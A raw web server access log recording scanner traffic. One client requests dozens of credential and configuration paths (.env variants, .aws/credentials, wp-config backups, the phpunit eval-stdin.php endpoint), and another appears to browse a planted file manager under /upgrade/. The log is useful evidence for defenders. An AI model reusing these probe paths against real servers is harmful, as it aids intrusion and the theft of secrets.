152.32.250.36 - - [11/Sep/2026:20:37:40 -0400] "GET /upgrade/ HTTP/1.1" 200 6436 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:41 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:41 -0400] "GET /wp-content/ HTTP/1.1" 200 755 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:42 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 6450 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:43 -0400] "GET /upgrade/ HTTP/1.1" 200 6436 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:44 -0400] "GET /?location=/home/blackpussy06/public_html/ HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:45 -0400] "GET /?file_location=/home/blackpussy06/public_html/upgrade//.htaccess&location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:46 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:47 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
94.102.49.125 - - [11/Sep/2026:20:41:13 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0"
94.102.49.125 - - [11/Sep/2026:20:41:13 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0"
85.217.149.45 - - [11/Sep/2026:20:41:49 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 ModatScanner/1.2 (+https://modat.io/)"
85.217.149.45 - - [11/Sep/2026:20:41:49 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 ModatScanner/1.2 (+https://modat.io/)"
64.62.156.142 - - [11/Sep/2026:20:46:50 -0400] "GET /geoserver/web/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/98.0"
64.62.156.142 - - [11/Sep/2026:20:52:55 -0400] "GET /feed/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
172.105.196.91 - - [11/Sep/2026:21:03:43 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 zgrab/0.x"
43.156.41.180 - - [11/Sep/2026:21:15:55 -0400] "GET /wp-content/ HTTP/1.1" 200 755 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
2.194.71.143 - - [11/Sep/2026:21:23:12 -0400] "GET / HTTP/1.1" 200 1488 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
43.134.91.35 - - [11/Sep/2026:21:24:11 -0400] "GET /wp-content/?MA HTTP/1.1" 200 758 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.134.100.175 - - [11/Sep/2026:21:35:28 -0400] "GET /wp-content/themes/ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
31.14.254.58 - - [11/Sep/2026:21:37:12 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
5.226.140.45 - - [11/Sep/2026:21:37:12 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
194.50.235.133 - - [11/Sep/2026:21:37:12 -0400] "GET /api/mcp HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
37.10.113.216 - - [11/Sep/2026:21:37:12 -0400] "GET /mcp HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
217.146.80.110 - - [11/Sep/2026:21:37:12 -0400] "GET /mcp/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
31.14.254.2 - - [11/Sep/2026:21:37:12 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
217.146.80.102 - - [11/Sep/2026:21:37:13 -0400] "GET /sse HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)"
186.225.220.69 - - [11/Sep/2026:21:40:02 -0400] "GET / HTTP/2" 200 1482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:02 -0400] "GET /_autoindex/assets/css/autoindex.css HTTP/2" 200 1170 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:02 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/2" 200 2137 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:02 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/2" 200 322 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:02 -0400] "GET /_autoindex/assets/icons/folder-fill.svg HTTP/2" 200 333 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:03 -0400] "GET /_autoindex/assets/icons/file.svg HTTP/2" 200 354 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:03 -0400] "GET /_autoindex/assets/icons/file-text.svg HTTP/2" 200 394 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
186.225.220.69 - - [11/Sep/2026:21:40:03 -0400] "GET /favicon.ico HTTP/2" 404 1251 "https://163.245.207.76/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36"
43.165.198.224 - - [11/Sep/2026:21:45:02 -0400] "GET /wp-content/?ND HTTP/1.1" 200 754 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
49.51.36.179 - - [11/Sep/2026:21:54:13 -0400] "GET /wp-content/?SA HTTP/1.1" 200 757 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET / HTTP/2" 200 7660 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /api/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /backend/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /phpinfo.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /admin/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /phpinfo/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /laravel/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /core/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /test HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /.env.example HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /app/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:52 -0400] "GET /dev/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /?phpinfo=-1 HTTP/2" 200 7660 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /server/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /.env.save HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /info/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /staging/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /WEB-INF/web.xml HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /.env.production HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /.gitlab-ci.yml HTTP/2" 403 1242 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /deploy.sh HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /source/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /config.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:53 -0400] "GET /framework/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /ikiwiki/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /config.inc.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /system/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /wp-config.php.backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /test/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /.env.dev HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /.env.sample HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /app_dev.php/_profiler/open?file=app/config/parameters.yml HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /wp-content/mysql.sql HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /.env.dev.local HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /php-info.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /.env.prod HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:54 -0400] "GET /.env.stage HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /info.php.bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /phpinfo.php.bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /.aws/credentials HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /info.txt HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /env/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /config.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /src/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /.env_copy HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /config/app.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /env.example HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:55 -0400] "GET /web/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /phpinfo.php3 HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /env HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.bashrc HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.envrc HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.env.sample.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.env.local.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.env.production.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /config.dev.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /twilio/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /config/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /sendgrid/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:56 -0400] "GET /.env.php.bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.php-bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.php-backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
213.209.159.154 - - [11/Sep/2026:21:56:57 -0400] "GET /.env.php.backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10"
